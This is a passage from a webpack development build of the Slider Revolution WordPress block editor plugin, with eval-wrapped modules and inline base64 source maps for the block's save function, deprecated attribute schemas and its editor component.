ZnVuY3Rpb24gc2F2ZShwcm9wcykge1xuICAgIHZhciBfcHJvcHMkYXR0cmlidXRlcyA9IHByb3BzLmF0dHJpYnV0ZXMsXG4gICAgICAgIHRleHQgPSBfcHJvcHMkYXR0cmlidXRlcy50ZXh0LFxuICAgICAgICBjb250ZW50ID0gX3Byb3BzJGF0dHJpYnV0ZXMuY29udGVudCxcbiAgICAgICAgc2xpZGVydGl0bGUgPSBfcHJvcHMkYXR0cmlidXRlcy5zbGlkZXJ0aXRsZSxcbiAgICAgICAgbW9kYWwgPSBfcHJvcHMkYXR0cmlidXRlcy5tb2RhbCxcbiAgICAgICAgemluZGV4ID0gX3Byb3BzJGF0dHJpYnV0ZXMuemluZGV4LFxuICAgICAgICB3cmFwcGVyaWQgPSBfcHJvcHMkYXR0cmlidXRlcy53cmFwcGVyaWQ7XG5cbiAgICB2YXIgc3R5bGUgPSB2b2lkIDA7XG4gICAgc3R5bGUgPSB6aW5kZXggPyBcInotaW5kZXg6XCIgKyB6aW5kZXggKyBcIjtcIiA6IFwiXCI7XG4gICAgdmFyIHNob3J0Y29kZSA9ICFjb250ZW50ICYmIHRleHQgPyB0ZXh0IDogY29udGVudDtcbiAgICByZXR1cm4gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgJ2RpdicsXG4gICAgICB7IGNsYXNzTmFtZTogJ3JldnNsaWRlcicsIGlkOiB3cmFwcGVyaWQsICdkYXRhLW1vZGFsJzogbW9kYWwsICdkYXRhLXNsaWRlcnRpdGxlJzogc2xpZGVydGl0bGUsIHN0eWxlOiBzdHlsZSB9LFxuICAgICAgc2hvcnRjb2RlXG4gICAgKTtcbiAgfVxufSk7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9zcmMvcmV2c2xpZGVyL2luZGV4LmpzXG4vLyBtb2R1bGUgaWQgPSAxXG4vLyBtb2R1bGUgY2h1bmtzID0gMCJdLCJtYXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///1\n");

/***/ }),
/* 2 */
/*!**********************************!*\
  !*** ./src/revslider/style.scss ***!
  \**********************************/
/*! dynamic exports provided */
/***/ (function(module, exports) {

eval("// removed by extract-text-webpack-plugin//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMi5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvc3R5bGUuc2Nzcz85MjcyIl0sInNvdXJjZXNDb250ZW50IjpbIi8vIHJlbW92ZWQgYnkgZXh0cmFjdC10ZXh0LXdlYnBhY2stcGx1Z2luXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9zcmMvcmV2c2xpZGVyL3N0eWxlLnNjc3Ncbi8vIG1vZHVsZSBpZCA9IDJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIl0sIm1hcHBpbmdzIjoiQUFBQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///2\n");

/***/ }),
/* 3 */
/*!***********************************!*\
  !*** ./src/revslider/editor.scss ***!
  \***********************************/
/*! dynamic exports provided */
/***/ (function(module, exports) {

eval("// removed by extract-text-webpack-plugin//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMy5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvZWRpdG9yLnNjc3M/ZDA3MCJdLCJzb3VyY2VzQ29udGVudCI6WyIvLyByZW1vdmVkIGJ5IGV4dHJhY3QtdGV4dC13ZWJwYWNrLXBsdWdpblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vc3JjL3JldnNsaWRlci9lZGl0b3Iuc2Nzc1xuLy8gbW9kdWxlIGlkID0gM1xuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBIiwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///3\n");

/***/ }),
/* 4 */
/*!*************************************!*\
  !*** ./src/revslider/deprecated.js ***!
  \*************************************/
/*! exports provided: deprecated */
/*! exports used: deprecated */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
eval("/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"a\", function() { return deprecated; });\nvar deprecated = [{\n  attributes: {\n    checked: {\n      type: 'boolean',\n      default: false\n    },\n    modal: {\n      type: 'boolean',\n      default: false\n    },\n    text: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'text'\n    },\n    sliderTitle: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'attribute',\n      attribute: 'data-slidertitle'\n    },\n    sliderImage: {\n      type: 'string'\n    },\n    hideSliderImage: {\n      boolean: false\n    }\n  },\n  save: function save(props) {\n    var _props$attributes = props.attributes,\n        text = _props$attributes.text,\n        sliderTitle = _props$attributes.sliderTitle,\n        modal = _props$attributes.modal;\n\n    return wp.element.createElement(\n      'div',\n      { className: 'revslider', 'data-modal': modal, 'data-slidertitle': sliderTitle },\n      text\n    );\n  }\n}, {\n  attributes: {\n    checked: {\n      type: 'boolean',\n      default: false\n    },\n    text: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'text'\n    },\n    sliderTitle: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'attribute',\n      attribute: 'data-slidertitle'\n    }\n  },\n  save: function save(props) {\n    return wp.element.createElement(\n      'div',\n      { className: 'revslider', 'data-slidertitle': props.attributes.sliderTitle },\n      props.attributes.text\n    );\n  }\n}, {\n  attributes: {\n    checked: {\n      type: 'boolean',\n      default: false\n    },\n    modal: {\n      type: 'boolean',\n      default: false\n    },\n    popup: {\n      type: 'object'\n    },\n    text: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'text'\n    },\n    sliderTitle: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'attribute',\n      attribute: 'data-slidertitle'\n    },\n    sliderImage: {\n      type: 'string'\n    },\n    hideSliderImage: {\n      boolean: false\n    },\n    offset: {\n      type: 'object'\n    },\n    layout: {\n      type: 'string '\n    },\n    alias: {\n      type: 'string'\n    },\n    zindex: {\n      type: 'string'\n    },\n    shortcode: {\n      type: 'string'\n    }\n  },\n  save: function save(props) {\n    var _props$attributes2 = props.attributes,\n        text = _props$attributes2.text,\n        sliderTitle = _props$attributes2.sliderTitle,\n        modal = _props$attributes2.modal,\n        zindex = _props$attributes2.zindex;\n\n    var style = void 0;\n    style = zindex ? \"z-index:\" + zindex + \";\" : \"\";\n    return wp.element.createElement(\n      'div',\n      { className: 'revslider', 'data-modal': modal, 'data-slidertitle': sliderTitle, style: style },\n      text\n    );\n  }\n}, {\n  attributes: {\n    checked: {\n      type: 'boolean',\n      default: false\n    },\n    modal: {\n      type: 'boolean',\n      default: false\n    },\n    popup: {\n      type: 'object'\n    },\n    content: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'text'\n    },\n    text: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'text'\n    },\n    sliderTitle: {\n      selector: '.revslider',\n      type: 'string',\n      source: 'attribute',\n      attribute: 'data-slidertitle'\n    },\n    sliderImage: {\n      type: 'string'\n    },\n    hideSliderImage: {\n      boolean: false\n    },\n    offset: {\n      type: 'object'\n    },\n    layout: {\n      type: 'string '\n    },\n    alias: {\n      type: 'string'\n    },\n    zindex: {\n      type: 'string'\n    },\n    shortcode: {\n      type: 'string'\n    }\n  },\n  save: function save(props) {\n    var _props$attributes3 = props.attributes,\n        text = _props$attributes3.text,\n        content = _props$attributes3.content,\n        sliderTitle = _props$attributes3.sliderTitle,\n        modal = _props$attributes3.modal,\n        zindex = _props$attributes3.zindex;\n\n    var style = void 0;\n    style = zindex ? \"z-index:\" + zindex + \";\" : \"\";\n    var shortcode = !content && text ? text : content;\n    return wp.element.createElement(\n      'div',\n      { className: 'revslider', 'data-modal': modal, 'data-slidertitle': sliderTitle, style: style },\n      shortcode\n    );\n  }\n}];\n\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiNC5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvZGVwcmVjYXRlZC5qcz8yZWJhIl0sInNvdXJjZXNDb250ZW50IjpbInZhciBkZXByZWNhdGVkID0gW3tcbiAgYXR0cmlidXRlczoge1xuICAgIGNoZWNrZWQ6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICBtb2RhbDoge1xuICAgICAgdHlwZTogJ2Jvb2xlYW4nLFxuICAgICAgZGVmYXVsdDogZmFsc2VcbiAgICB9LFxuICAgIHRleHQ6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ3RleHQnXG4gICAgfSxcbiAgICBzbGlkZXJUaXRsZToge1xuICAgICAgc2VsZWN0b3I6ICcucmV2c2xpZGVyJyxcbiAgICAgIHR5cGU6ICdzdHJpbmcnLFxuICAgICAgc291cmNlOiAnYXR0cmlidXRlJyxcbiAgICAgIGF0dHJpYnV0ZTogJ2RhdGEtc2xpZGVydGl0bGUnXG4gICAgfSxcbiAgICBzbGlkZXJJbWFnZToge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIGhpZGVTbGlkZXJJbWFnZToge1xuICAgICAgYm9vbGVhbjogZmFsc2VcbiAgICB9XG4gIH0sXG4gIHNhdmU6IGZ1bmN0aW9uIHNhdmUocHJvcHMpIHtcbiAgICB2YXIgX3Byb3BzJGF0dHJpYnV0ZXMgPSBwcm9wcy5hdHRyaWJ1dGVzLFxuICAgICAgICB0ZXh0ID0gX3Byb3BzJGF0dHJpYnV0ZXMudGV4dCxcbiAgICAgICAgc2xpZGVyVGl0bGUgPSBfcHJvcHMkYXR0cmlidXRlcy5zbGlkZXJUaXRsZSxcbiAgICAgICAgbW9kYWwgPSBfcHJvcHMkYXR0cmlidXRlcy5tb2RhbDtcblxuICAgIHJldHVybiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAnZGl2JyxcbiAgICAgIHsgY2xhc3NOYW1lOiAncmV2c2xpZGVyJywgJ2RhdGEtbW9kYWwnOiBtb2RhbCwgJ2RhdGEtc2xpZGVydGl0bGUnOiBzbGlkZXJUaXRsZSB9LFxuICAgICAgdGV4dFxuICAgICk7XG4gIH1cbn0sIHtcbiAgYXR0cmlidXRlczoge1xuICAgIGNoZWNrZWQ6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICB0ZXh0OiB7XG4gICAgICBzZWxlY3RvcjogJy5yZXZzbGlkZXInLFxuICAgICAgdHlwZTogJ3N0cmluZycsXG4gICAgICBzb3VyY2U6ICd0ZXh0J1xuICAgIH0sXG4gICAgc2xpZGVyVGl0bGU6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ2F0dHJpYnV0ZScsXG4gICAgICBhdHRyaWJ1dGU6ICdkYXRhLXNsaWRlcnRpdGxlJ1xuICAgIH1cbiAgfSxcbiAgc2F2ZTogZnVuY3Rpb24gc2F2ZShwcm9wcykge1xuICAgIHJldHVybiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAnZGl2JyxcbiAgICAgIHsgY2xhc3NOYW1lOiAncmV2c2xpZGVyJywgJ2RhdGEtc2xpZGVydGl0bGUnOiBwcm9wcy5hdHRyaWJ1dGVzLnNsaWRlclRpdGxlIH0sXG4gICAgICBwcm9wcy5hdHRyaWJ1dGVzLnRleHRcbiAgICApO1xuICB9XG59LCB7XG4gIGF0dHJpYnV0ZXM6IHtcbiAgICBjaGVja2VkOiB7XG4gICAgICB0eXBlOiAnYm9vbGVhbicsXG4gICAgICBkZWZhdWx0OiBmYWxzZVxuICAgIH0sXG4gICAgbW9kYWw6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICBwb3B1cDoge1xuICAgICAgdHlwZTogJ29iamVjdCdcbiAgICB9LFxuICAgIHRleHQ6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ3RleHQnXG4gICAgfSxcbiAgICBzbGlkZXJUaXRsZToge1xuICAgICAgc2VsZWN0b3I6ICcucmV2c2xpZGVyJyxcbiAgICAgIHR5cGU6ICdzdHJpbmcnLFxuICAgICAgc291cmNlOiAnYXR0cmlidXRlJyxcbiAgICAgIGF0dHJpYnV0ZTogJ2RhdGEtc2xpZGVydGl0bGUnXG4gICAgfSxcbiAgICBzbGlkZXJJbWFnZToge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIGhpZGVTbGlkZXJJbWFnZToge1xuICAgICAgYm9vbGVhbjogZmFsc2VcbiAgICB9LFxuICAgIG9mZnNldDoge1xuICAgICAgdHlwZTogJ29iamVjdCdcbiAgICB9LFxuICAgIGxheW91dDoge1xuICAgICAgdHlwZTogJ3N0cmluZyAnXG4gICAgfSxcbiAgICBhbGlhczoge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIHppbmRleDoge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9LFxuICAgIHNob3J0Y29kZToge1xuICAgICAgdHlwZTogJ3N0cmluZydcbiAgICB9XG4gIH0sXG4gIHNhdmU6IGZ1bmN0aW9uIHNhdmUocHJvcHMpIHtcbiAgICB2YXIgX3Byb3BzJGF0dHJpYnV0ZXMyID0gcHJvcHMuYXR0cmlidXRlcyxcbiAgICAgICAgdGV4dCA9IF9wcm9wcyRhdHRyaWJ1dGVzMi50ZXh0LFxuICAgICAgICBzbGlkZXJUaXRsZSA9IF9wcm9wcyRhdHRyaWJ1dGVzMi5zbGlkZXJUaXRsZSxcbiAgICAgICAgbW9kYWwgPSBfcHJvcHMkYXR0cmlidXRlczIubW9kYWwsXG4gICAgICAgIHppbmRleCA9IF9wcm9wcyRhdHRyaWJ1dGVzMi56aW5kZXg7XG5cbiAgICB2YXIgc3R5bGUgPSB2b2lkIDA7XG4gICAgc3R5bGUgPSB6aW5kZXggPyBcInotaW5kZXg6XCIgKyB6aW5kZXggKyBcIjtcIiA6IFwiXCI7XG4gICAgcmV0dXJuIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICdkaXYnLFxuICAgICAgeyBjbGFzc05hbWU6ICdyZXZzbGlkZXInLCAnZGF0YS1tb2RhbCc6IG1vZGFsLCAnZGF0YS1zbGlkZXJ0aXRsZSc6IHNsaWRlclRpdGxlLCBzdHlsZTogc3R5bGUgfSxcbiAgICAgIHRleHRcbiAgICApO1xuICB9XG59LCB7XG4gIGF0dHJpYnV0ZXM6IHtcbiAgICBjaGVja2VkOiB7XG4gICAgICB0eXBlOiAnYm9vbGVhbicsXG4gICAgICBkZWZhdWx0OiBmYWxzZVxuICAgIH0sXG4gICAgbW9kYWw6IHtcbiAgICAgIHR5cGU6ICdib29sZWFuJyxcbiAgICAgIGRlZmF1bHQ6IGZhbHNlXG4gICAgfSxcbiAgICBwb3B1cDoge1xuICAgICAgdHlwZTogJ29iamVjdCdcbiAgICB9LFxuICAgIGNvbnRlbnQ6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ3RleHQnXG4gICAgfSxcbiAgICB0ZXh0OiB7XG4gICAgICBzZWxlY3RvcjogJy5yZXZzbGlkZXInLFxuICAgICAgdHlwZTogJ3N0cmluZycsXG4gICAgICBzb3VyY2U6ICd0ZXh0J1xuICAgIH0sXG4gICAgc2xpZGVyVGl0bGU6IHtcbiAgICAgIHNlbGVjdG9yOiAnLnJldnNsaWRlcicsXG4gICAgICB0eXBlOiAnc3RyaW5nJyxcbiAgICAgIHNvdXJjZTogJ2F0dHJpYnV0ZScsXG4gICAgICBhdHRyaWJ1dGU6ICdkYXRhLXNsaWRlcnRpdGxlJ1xuICAgIH0sXG4gICAgc2xpZGVySW1hZ2U6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICBoaWRlU2xpZGVySW1hZ2U6IHtcbiAgICAgIGJvb2xlYW46IGZhbHNlXG4gICAgfSxcbiAgICBvZmZzZXQ6IHtcbiAgICAgIHR5cGU6ICdvYmplY3QnXG4gICAgfSxcbiAgICBsYXlvdXQ6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcgJ1xuICAgIH0sXG4gICAgYWxpYXM6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICB6aW5kZXg6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfSxcbiAgICBzaG9ydGNvZGU6IHtcbiAgICAgIHR5cGU6ICdzdHJpbmcnXG4gICAgfVxuICB9LFxuICBzYXZlOiBmdW5jdGlvbiBzYXZlKHByb3BzKSB7XG4gICAgdmFyIF9wcm9wcyRhdHRyaWJ1dGVzMyA9IHByb3BzLmF0dHJpYnV0ZXMsXG4gICAgICAgIHRleHQgPSBfcHJvcHMkYXR0cmlidXRlczMudGV4dCxcbiAgICAgICAgY29udGVudCA9IF9wcm9wcyRhdHRyaWJ1dGVzMy5jb250ZW50LFxuICAgICAgICBzbGlkZXJUaXRsZSA9IF9wcm9wcyRhdHRyaWJ1dGVzMy5zbGlkZXJUaXRsZSxcbiAgICAgICAgbW9kYWwgPSBfcHJvcHMkYXR0cmlidXRlczMubW9kYWwsXG4gICAgICAgIHppbmRleCA9IF9wcm9wcyRhdHRyaWJ1dGVzMy56aW5kZXg7XG5cbiAgICB2YXIgc3R5bGUgPSB2b2lkIDA7XG4gICAgc3R5bGUgPSB6aW5kZXggPyBcInotaW5kZXg6XCIgKyB6aW5kZXggKyBcIjtcIiA6IFwiXCI7XG4gICAgdmFyIHNob3J0Y29kZSA9ICFjb250ZW50ICYmIHRleHQgPyB0ZXh0IDogY29udGVudDtcbiAgICByZXR1cm4gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgJ2RpdicsXG4gICAgICB7IGNsYXNzTmFtZTogJ3JldnNsaWRlcicsICdkYXRhLW1vZGFsJzogbW9kYWwsICdkYXRhLXNsaWRlcnRpdGxlJzogc2xpZGVyVGl0bGUsIHN0eWxlOiBzdHlsZSB9LFxuICAgICAgc2hvcnRjb2RlXG4gICAgKTtcbiAgfVxufV07XG5cbmV4cG9ydCB7IGRlcHJlY2F0ZWQgfTtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL3NyYy9yZXZzbGlkZXIvZGVwcmVjYXRlZC5qc1xuLy8gbW9kdWxlIGlkID0gNFxuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBO0FBQUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7Iiwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///4\n");

/***/ }),
/* 5 */
/*!************************************!*\
  !*** ./src/revslider/revslider.js ***!
  \************************************/
/*! exports provided: RevSlider */
/*! exports used: RevSlider */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
eval("/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"a\", function() { return RevSlider; });\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__revSliderImage__ = __webpack_require__(/*! ./revSliderImage */ 6);\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\n/**\n * RevSlider Editor Element\n */\n\n/**\n * Internal block libraries\n*/\nvar Component = wp.element.Component;\nvar _wp$components = wp.components,\n    TextControl = _wp$components.TextControl,\n    Button = _wp$components.Button,\n    Tooltip = _wp$components.Tooltip;\n\nif (typeof wp.blockEditor !== 'undefined') var _wp$blockEditor = wp.blockEditor,\n      InspectorControls = _wp$blockEditor.InspectorControls,\n      InspectorAdvancedControls = _wp$blockEditor.InspectorAdvancedControls;else var _wp$editor = wp.editor,\n      InspectorControls = _wp$editor.InspectorControls,\n      InspectorAdvancedControls = _wp$editor.InspectorAdvancedControls;\n\n\n\n/**\n * Component RevSlider for usage in block\n*/\nvar RevSlider = function (_Component) {\n  _inherits(RevSlider, _Component);\n\n  function RevSlider() {\n    _classCallCheck(this, RevSlider);\n\n    var _this = _possibleConstructorReturn(this, (RevSlider.__proto__ || Object.getPrototypeOf(RevSlider)).apply(this, arguments));\n\n    _this.openBlockSettings = function () {\n      var data = false;\n      RVS.SC.BLOCK = _this.state;\n      revslider_react = _this;\n      if (!_this.props.attributes.alias) return false;\n      RVS.SC.openBlockSettings('gutenberg', _this.props.attributes.content);\n    };\n\n    _this.openLibrary = function () {\n      revslider_react = _this;\n      RVS.SC.BLOCK = _this.props.attributes;\n      RVS.SC.openTemplateLibrary('gutenberg');\n    };\n\n    _this.openSliderEditor = function () {\n      if (!_this.props.attributes.alias) return false;\n      RVS.SC.openSliderEditor(_this.props.attributes.alias);\n    };\n\n    _this.setwrapperid = function (value) {\n      revslider_react = _this;\n      _this.props.setAttributes({ wrapperid: value });\n      RVS.SC.BLOCK = _this.state;\n      RVS.SC.BLOCK.wrapperid = value;\n    };\n\n    _this.openOptimizer = function () {\n      if (!_this.props.attributes.alias) return false;\n      RVS.SC.openOptimizer(_this.props.attributes.alias);\n    };\n\n    _this.setSliderAttributes = function (alias) {\n      setAttributes({ alias: alias });\n      setAttributes({ sliderImage: _this.state.sliderImage });\n    };\n\n    _this.state = jQuery.extend(true, {}, _this.props.attributes);\n    window.revslider_react = {};\n    return _this;\n  }\n\n  _createClass(RevSlider, [{\n    key: 'componentDidMount',\n    value: function componentDidMount() {\n      revslider_react = this;\n      // Create Block in RVS with current state\n      RVS.SC.BLOCK = this.state;\n      // Open Template Library when block is added for the first time to the page\n      if (!this.props.attributes.content && !this.props.attributes.text) {\n        // Check if in widget area, then do not open the template library automatically\n        if (wp.data.select('core/editor') != null && wp.data.select('core/editor').isEditedPostDirty()) RVS.SC.openTemplateLibrary('gutenberg');else return false;\n      } else {\n        // Fallback for saved blocks with no alias attribute (< RevSlider V6.1.6)\n        if (!this.props.attributes.alias) {\n          var shortcode = this.props.attributes.content !== undefined ? RVS.SC.parseShortCode(this.props.attributes.content) : RVS.SC.parseShortCode(this.props.attributes.text);\n          if (shortcode.attributes.alias) {\n            this.props.attributes.alias = shortcode.attributes.alias;\n            RVS.SC.BLOCK.alias = this.props.attributes.alias;\n            this.props.setAttributes({ alias: shortcode.attributes.alias });\n          }\n        }\n        if (!this.props.attributes.slidertitle) {\n          if (this.props.attributes.sliderTitle) {\n            this.props.setAttributes({ slidertitle: this.props.attributes.sliderTitle });\n          }\n        }\n      }\n    }\n\n    // Open Block Settings like offset, popup, admin thumb\n\n\n    // Open Template Library\n\n\n    // Link to Slider Editor in new tab\n\n\n    // Open File Optimizer PopUp\n\n\n    // Update Attributes in case Slider alias changes\n\n  }, {\n    key: 'render',\n    value: function render() {\n      var _this2 = this;\n\n      revslider_react = this;\n      // Set Attributes from State (state was changed in RevSlider JS)\n      this.props.setAttributes(this.state);\n      var setAttributes = this.props.setAttributes;\n\n      // Turn off Styling in Block Options Sidebar when leaving block\n\n      {\n        !this.props.isSelected && RVS.SC.updateBlockViews(false);\n      }\n\n      if (!this.props.attributes.slidertitle) {\n        if (this.props.attributes.sliderTitle) {\n          this.props.setAttributes({ slidertitle: this.props.attributes.sliderTitle });\n        }\n      }\n\n      return [wp.element.createElement(\n        